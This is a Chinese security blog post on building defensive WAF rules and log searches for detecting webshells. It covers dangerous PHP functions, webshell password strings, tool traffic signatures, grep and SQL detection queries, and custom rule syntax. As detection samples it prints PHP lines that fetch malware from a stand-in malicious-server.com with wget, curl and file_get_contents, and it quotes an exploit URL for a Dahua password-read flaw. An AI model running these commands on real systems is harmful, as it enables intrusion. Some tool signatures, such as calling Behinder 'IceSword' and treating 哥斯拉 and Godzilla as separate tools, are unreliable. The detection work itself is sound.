防守方攻击特征及规则库建立研究
https://mp.weixin.qq.com/s/Ciisu-chMtp8X_blmYVA9Q
原创 simeon的文章 小兵搞安全 2024年07月10日 08:57 北京
很多安全设备都内置了很多安全防御规则,但这些规则都是加密的,对用户不可见,处于黑盒状态。特别是升级后,规则库是否有效对安全防护特别重要,规则库升级后,一般都要回测系统的防御规则。基于这个特性国内有一些公司从事规则库的有效性验证,通过实战摸索建立了自己的规则库,通过攻击模拟来验证规则。对安全防护人员来说,通过研究漏洞利用方法和机制,通过WAF等安全设备,定义规则,当触发攻击规则时,可以第一时间得知攻击者正在进行攻击利用。可以实施封堵,溯源以及跟着攻击过程,修补漏洞及加强防御。比较行之有效的方法,一个是利用厂商建立的规则库,另外一个方面可以自定义一些明显带有攻击特征的自定义规则库。自定义规则是一个漫长的过程,需要策略制定者熟悉攻击,熟悉安全设备,熟悉安全策略。且是一个不断完善和积累的过程。我以前技术团队的一个兄弟,通过配置WAF等安全设备的策略,在hw中目前仍然保持0失分。在未来的对抗中,还需要考虑这些防护设备的越权、RCE等漏洞的安全防护,防止直接对边界防护设备的攻击。
1.Webshell特征
当涉及到监测日志中是否包含Webshell相关的关键字时,我们可以设定一系列关键词来帮助我们发现潜在的Webshell活动。这些关键词通常与Webshell的上传、执行、以及恶意行为有关。
1.1Webshell关键字特征
下面是一些典型的Webshell关键字及其特征:
1.1.1 上传/植入Webshell
上传或植入Webshell是黑客入侵Web服务器的一种常见手段,通过这种方式,攻击者可以远程控制服务器,执行任意命令,窃取数据,或者进行进一步的攻击。以下是几种上传Webshell的常见方式,以及相关的文件上传类型:
1.Form Upload (表单上传)
攻击者可能利用Web应用中的文件上传功能,上传精心构造的Webshell文件。这些文件可能被伪装成合法的图片、文档或其他类型的文件。
常见的上传文件类型包括:.php, .jsp, .asp, .aspx等。
2.File Inclusion (文件包含)
如果Web应用存在本地或远程文件包含漏洞(LFI/RFI),攻击者可以利用这些漏洞上传或指向Webshell文件。
例如,通过构造特殊的URL路径,可以让服务器包含一个恶意的PHP文件。
3.Directory Traversal (目录穿越)
当Web应用没有正确过滤用户输入的文件路径时,攻击者可以通过目录穿越漏洞上传Webshell到服务器的任意位置。
4.SQL Injection (SQL注入)
如果Web应用存在SQL注入漏洞,攻击者可能通过注入语句上传Webshell文件到数据库,并通过数据库文件系统接口访问它们。
5.Weak Authentication or Access Control (弱认证或访问控制)
若服务器或Web应用存在弱密码或缺乏适当的访问控制,攻击者可以直接登录并上传Webshell。
6.Zero-day Exploits (零日漏洞利用)
攻击者可能利用尚未公开或未修补的软件漏洞上传Webshell。
1.1.2. Webshell执行指令
在Web开发语言中,尤其是PHP,存在一些函数可以被恶意利用来执行系统命令或进行代码注入,从而导致Webshell的形成。这些函数被称为“危险函数”,因为它们可以被攻击者滥用,执行未经授权的操作。以下是一些在PHP中常见的危险函数:
1.system()
允许执行系统命令并显示输出。
2.exec()
执行系统命令但不显示输出,而是返回最后一行输出。
3.shell_exec()
执行系统命令并返回完整输出。
4.passthru()
执行系统命令并将输出直接传递给浏览器。
5.proc_open()
启动一个进程,可以用来执行长时间运行的任务或复杂的命令。
6.pcntl_exec()
在当前进程中替换程序图像,可以用来执行其他程序。
7.assert()
用于断言条件是否为真,但可以被滥用执行代码。
8.eval()
执行字符串中的PHP代码,常被Webshell用于执行动态代码。
9.create_function()
创建匿名函数,可以被滥用来执行任意代码。
10.call_user_func() 和 call_user_func_array()
调用用户定义的函数,可以被滥用来执行恶意函数。
11.preg_replace()
正则表达式替换函数,当使用e标志时可以执行PHP代码。
除了上述函数,还有一些其他函数和特性,如错误处理函数(set_error_handler())、预定义变量($_SERVER、$_REQUEST等),以及PHP配置选项(allow_url_include),也可能被用于Webshell的形成和执行。
1.1.3. Webshell身份标识
Webshell的身份标识,通常指的是攻击者在成功植入Webshell之后,为了后续管理和维护,会在Webshell代码中留下一些特定的标识或注释。这些标识可能包括:
1.作者或组织名称
攻击者或黑客团体有时会在Webshell中添加自己的名字、别名或组织的标志,如“By xxx”,“Hacked By xxx”,“Pwned By xxx”等。
2.版本信息
一些Webshell会有版本号,比如“v1.0”,“Version 2.3”等,这有助于攻击者跟踪和更新Webshell。
3.版权声明
有时Webshell中会包含版权声明,指出Webshell的来源或版权所有者。
4.日期或时间戳
Webshell可能包含创建或修改日期,这有助于追踪Webshell的植入时间。
5.联系方式
虽然较少见,但有的Webshell会包含攻击者的联系方式,如邮箱、社交媒体账号等。
6.特殊注释或消息
攻击者可能会留下个人的注释或消息,这些可能没有直接的含义,但可以作为Webshell的特征之一。
7.加密或混淆信息
为了隐藏Webshell的真实意图,一些Webshell会被加密或混淆,但仍然可能包含某些特定的加密字符串或模式,可以作为检测的线索。
1.1.4. Webshell命令执行痕迹
WebShell通过命令执行痕迹通常是攻击者在目标服务器上执行恶意操作留下的证据。当WebShell在服务器上运行时,它可能会使用各种方法来下载额外的恶意脚本、窃取数据或与其他C&C服务器通信。以下是一些常见的命令和函数,它们可能被WebShell用来执行这类操作:
1.wget
用于从网络下载文件。WebShell可能使用wget命令从远程服务器下载额外的恶意脚本或数据。
示例命令:system('wget http://malicious-server.com/malware.php -O /tmp/malware.php');
2.curl
类似于wget,curl也可以用于从远程服务器获取文件或数据。它还提供了更多的功能,如POST请求、用户身份验证等。
示例命令:passthru('curl -o /tmp/malware.php http://malicious-server.com/malware.php');
3.download, getfile, readfile
这些不是标准的PHP函数,但一些WebShell可能自定义了这些函数名来实现文件下载或读取的功能。
示例自定义函数调用:download('http://malicious-server.com/malware.php', '/tmp/malware.php');
4.file_get_contents
这是一个标准的PHP函数,用于读取整个文件到一个字符串中。它也可以用于从远程URL获取数据。
示例命令:$content = file_get_contents('http://malicious-server.com/malware.php');
5.其他可能的痕迹
查找不寻常的文件或目录创建、修改或删除活动。
检查Web服务器日志,寻找来自可疑IP地址的请求,特别是那些尝试访问WebShell或下载文件的请求。
分析WebShell代码,寻找与C&C服务器通信的迹象,如硬编码的URL或加密的通信通道。
1.1.5. Webshell通信特征
1.命名特征
(1)shell.php, cmd.php, webshell.php
这些文件名直接表明其WebShell的性质,可能包含一个简单的界面或API,接受命令行参数或POST数据,并返回执行命令的结果。
特征:接收外部输入(如命令),执行系统调用或运行其他脚本,然后返回结果。
2.admin.php, backdoor.php, hack.php
这些名称可能意味着更复杂或更隐蔽的WebShell,它们可能提供了完整的后台管理功能,包括但不限于文件管理、数据库访问、用户管理等。
特征:可能有更复杂的前端界面,支持多种功能,如文件上传、下载、编辑、删除等。
2.WebShell通信的通用特征
加密通信:使用HTTPS或其他加密协议隐藏数据传输,使拦截和分析更困难。
命令编码:使用Base64或其他编码方法对命令和响应进行编码,以混淆数据流。
动态加载:可能使用JavaScript或AJAX技术异步加载代码或数据,减少页面重载次数,降低检测率。
多阶段通信:WebShell可能包含多个组件,一部分用于初步侦察和建立连接,另一部分用于更高级的操作。
C&C(Command and Control)服务器:WebShell可能与远程C&C服务器通信,接收指令和发送执行结果。
1.1.6. 密码或认证信息
1.aspx Webshell中的密码
public const string Version="ASPXSpy2014";
public const string Password="21232f297a57a5a743894a0e4a801fc3"; //admin
2.phpspy
$admin['pass'] = '0655dbc8f8681d7318ebca8b2bc722a9';
3.JspSpy
private static final String PW = "sysy"; //password
4.asp webshell
UserPass="1359651"
1.1.7. 特殊字符和编码
1.Base64编码与解码
Base64编码是一种基于64个可打印ASCII字符来表示二进制数据的方法。它常用于在URL或文件中安全传输二进制数据,例如图片、音频或视频等。
(1)base64_encode
base64_encode是一个PHP函数,用于将二进制数据转换成Base64格式的字符串。例如:
$data = "Hello, world!";
$encodedData = base64_encode($data);
echo $encodedData; // 输出: SGVsbG8sIHdvcmxkIQ==
(2)base64_decode
base64_decode是与base64_encode相对应的函数,用于将Base64格式的字符串还原为原始的二进制数据。例如:
$decodedData = base64_decode($encodedData);
echo $decodedData; // 输出: Hello, world!
2.GZip压缩与解压缩
GZip是一种常用的文件格式和算法,用于文件压缩和解压缩,广泛应用于网络传输中减少数据量,提高传输效率。
(1)gzinflate
gzinflate是一个PHP函数,用于解压缩通过GZip或Deflate算法压缩的数据。例如:
$compressedData = "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03";
$decompressedData = gzinflate($compressedData);
echo $decompressedData; // 输出解压后的数据
(2)gzuncompress
gzuncompress与gzinflate类似,也是用于解压缩数据,但是它可以处理更广泛的压缩格式,而不仅仅是GZip。然而,在PHP中,gzuncompress通常被用作gzinflate的别名,二者功能相同。
1.1.8. 恶意行为指示
在WebShell的上下文中,恶意行为指示通常指的是攻击者利用WebShell对服务器或数据库执行的未经授权的操作。以下是一些常见的SQL指令,这些指令可能被WebShell用于对数据库进行恶意操作:
1.DELETE
用于删除数据库表中的记录。恶意使用可能导致数据丢失。
2.DROP
用于删除整个数据库表或视图。这可以导致永久性的数据损失。
3.TRUNCATE
类似于DELETE,但用于清空整个表的内容而不保留行级信息。比DELETE更快,但同样会导致数据丢失。
4.INSERT INTO
用于向数据库表中插入新记录。恶意使用可能用于插入虚假数据或用于SQL注入攻击。
5.UPDATE
用于修改数据库表中已存在的记录。可以被滥用以改变敏感数据,如用户密码或账户余额。
6.SELECT * FROM
用于从数据库表中选择所有列的所有行。虽然本身可能不具有破坏性,但如果结合其他恶意操作,可以用于数据窃取或进一步的攻击。
恶意行为的例子:
1.1.9常见webshell客服端工具
-
冰蝎(IceSword)
特征:
特定的User-Agent:如Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36,但带有额外的标记,如ZmEu。 特定的URL模式:如/shell.php?pass=1。
检测:
在日志中搜索特定的User-Agent和URL模式。 分析网络流量,查找与冰蝎客户端通信的特征,如特定的HTTP请求和响应模式。
-
Godzilla
特征:
特定的HTTP请求方法:Godzilla倾向于使用GET或POST方法。 特定的请求头:如User-Agent可能包含Gozi或Godzilla字样。 特定的请求参数:如cmd参数,通常用于传递命令。
检测:
监控User-Agent中包含Gozi或Godzilla的请求。 检查请求参数中是否包含cmd,以及cmd的值是否异常。
-
哥斯拉
特征:
与Godzilla相似的特征,包括特定的请求方法、请求头和请求参数。 特定的加密或编码模式:哥斯拉Webshell客户端可能使用特定的编码或加密方式传输数据。
检测:
应用与Godzilla相同的检测策略。 注意加密或编码的网络流量,这可能是哥斯拉Webshell客户端活动的迹象。
1.2日志Webshell特征排查
Webshell的特征可以在HTTP请求的不同部分出现,包括GET和POST方法的参数、请求体、甚至是HTTP头部。下面是如何在常见的日志格式中配置监控这些特征的具体步骤:
- 理解日志格式
首先,你需要理解你的日志文件的格式。大多数Web服务器和应用服务器使用标准的Apache或Nginx日志格式,如Common Log Format (CLF) 或 Combined Log Format (CLF+):
CLF: %h %l %u %t "%r" %>s %b
CLF+: %h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"
其中%r表示请求行,包含了请求方法、请求URI和协议版本;"%{User-Agent}i"表示User-Agent字符串。
- 配置日志监控
对于GET请求
GET请求的参数通常出现在URL中,因此你可以在%r字段中查找关键字。例如,在Apache的access_log中,你可以使用grep或其他日志分析工具来查找:
grep -i "webshell|shell.php|cmd.php|eval(|system(" /var/log/apache2/access.log
对于POST请求
POST请求的参数通常在请求体中,这在标准日志格式中不会直接显示。你需要配置你的服务器或应用程序来记录POST数据。例如,在Nginx中,你可以使用ngx_http_realip_module模块配合proxy_set_header来记录POST数据。
然后,你可以在日志中搜索POST数据中的关键字。如果你的日志中包含了POST数据,可以使用类似的方法来搜索:
grep -i "webshell|password is|eval(|system(" /var/log/nginx/access.log
查找特定HTTP头部
Webshell的请求有时会包含特定的HTTP头部,如自定义的User-Agent。你可以在日志中搜索"%{User-Agent}i"字段:
grep -i "Java/1.8.0_171" /var/log/nginx/access.log
- 使用日志分析工具
手动搜索日志文件效率低下且容易遗漏,推荐使用专门的日志分析工具,如ELK Stack(Elasticsearch + Logstash + Kibana)、Graylog或Splunk。这些工具可以自动化日志收集、存储和分析过程,并提供强大的搜索和可视化功能。
在配置这些工具时,你可以设置规则或过滤器来自动识别含有Webshell特征的日志条目,并触发警报或进一步的分析。
总结
Webshell特征的检测是一个动态的过程,需要根据具体的日志格式和服务器配置来调整。通过上述步骤,你可以建立起一套基本的日志监控系统,用以及时发现和响应潜在的Webshell威胁。
1.3防火墙日志的Webshell排查
1.3.1防火墙web访问日志表waf_log_webaccess
site_id protect_id stat_time alertlevel event_type dst_ip dst_port url src_ip src_port method agent count_num wa_host wa_referer http_protocol protocol_type wci wsi country action req_content_type req_content_len res_content_type res_content_len waf_status_code ser_status_code correlation_id raw_client_ip
1.3.2识别WebShell特征
要在汇聚后的日志数据中识别WebShell特征,需要关注几个关键字段,特别是那些能够反映请求细节的字段,如method, url, agent, req_content_type, req_content_len, res_content_type, res_content_len, waf_status_code, 和ser_status_code等。以下是在不同字段中识别WebShell特征的一些建议:
- URL (url)
查找敏感的文件名或路径:WebShell常常被上传到服务器的非预期位置,比如隐藏在图片目录下,或者伪装成合法文件。搜索如shell.php, cmd.php, eval.php, admin.php, 或者包含..尝试访问上级目录的URL。
查询字符串:WebShell可能通过URL的查询字符串传递指令,搜索包含eval(, exec(, system(, 或者base64_decode(的查询参数。
- User-Agent (agent)
异常User-Agent:WebShell请求可能使用非标准或特定的User-Agent字符串,如Mozilla/4.0(过时的浏览器),或者包含WebShell、PHP、Python等关键词的字符串。
- 请求方法 (method)
POST或PUT方法:WebShell可能通过POST或PUT方法上传,检查这些方法的请求,尤其是那些请求体长度较大的。
- Content-Type (req_content_type)
多部分上传:WebShell可能被包装在multipart/form-data中上传,检查此类Content-Type的请求。
- HTTP状态码 (waf_status_code, ser_status_code)
异常状态码:如200(成功)对于潜在的恶意请求,或者500(内部服务器错误)可能表明有尝试执行非法操作的情况。
- 内容长度 (req_content_len, res_content_len)
异常长度:WebShell的上传或执行可能会伴随异常大的请求或响应内容长度。
- Referer (wa_referer)
异常来源:检查Referer头是否来自可疑的外部站点,或者根本不存在的页面。
- Response Content-Type (res_content_type)
文本响应:如果一个请求期望获取二进制数据(如图片)却得到了文本响应,可能意味着请求被执行了脚本代码。
1.3.3实现策略
为了在这些字段中识别WebShell特征,你可以使用SQL查询、正则表达式匹配或编写自定义脚本来过滤和标记可疑的活动。例如,使用SQL查询:
SELECT * FROM waf_log_webaccess
WHERE url LIKE '%shell.php%' OR url LIKE '%cmd.php%'
OR agent LIKE '%WebShell%' OR agent LIKE '%PHP%'
OR (method = 'POST' AND req_content_len > 1000)
OR (res_content_type LIKE '%text/html%' AND req_content_type LIKE '%image/%');
此查询将查找包含特定文件名的URL,异常的User-Agent,大POST请求,以及请求与响应类型不匹配的情况。
1.4规则库
1.4.1WAF防火墙自带规则库
1.通用防护规则库
以绿盟WAF防火墙为例,单击“安全管理”-“规则库管理”-“通用防护”,如下图所示,可以看到所有的规则,选择某一个类型可以看到具体有多少条规则库。通用防护中默认1388条规则。
图片
图1 查看所有规则
2.详细规则库信息
单击某个详细的规则,例如dahua_passwd_leak规则,查看其详细信息,如下图所示,可以看到有规则概述、影响范围、详细说明等信息,具体的实现规则是公司的机密,对用户是黑盒,基本不可见。
图片
图 查看某条具体规则
查询“大华智慧园区综合管理平台任意密码读取漏洞”得到具体的漏洞利用信息。
https://127.0.0.1/admin/user_getUserInfoByUserName.action?userName=system
1.4.2自定义规则库
1.自定义特征查看
在安全管理中,单击自定义特征,即可获取目前自定义的规则库,如下图所示。
图片
图1 自定义规则查看
2.新建规则
在自定义规则页面,单击新建,如下图所示,输入名称、描述信息,选择告警类型,检测方向,并设置约束条件中的检测对象、匹配操作及检测则,添加即可。
图片
图2 添加自定义规则
3.查看自定义规则
自定义规则添加完成后,即可自定义特征中进行查看,如下图所示。
图片
图3 查看自定义特征
1.4.3自定义Webshell识别特征
1.通过url识别shell
(uri * rco shell.php)&&(uri * rco cmd.php)
1.5监测策略
为了有效地监测日志中的Webshell关键字,你可以采取以下策略:
实时日志监控:设置日志分析工具或脚本来实时检查关键字。
定期日志审查:定期对日志进行关键词搜索,以发现任何可疑行为。
异常行为检测:结合日志关键字与访问模式、地理位置等信息,识别异常的访问行为。
告警系统:一旦发现关键词,立即触发告警,并启动相应的安全响应流程。
在实际应用中,监测Webshell关键字需要考虑误报和漏报的问题,因此建议结合多种检测手段和上下文分析,以提高检测的准确性和效率。同时,对于检测到的可疑事件,应当迅速进行深入调查,以确认是否存在真正的安全威胁,并采取相应措施进行处理。
微信扫一扫
关注该公众号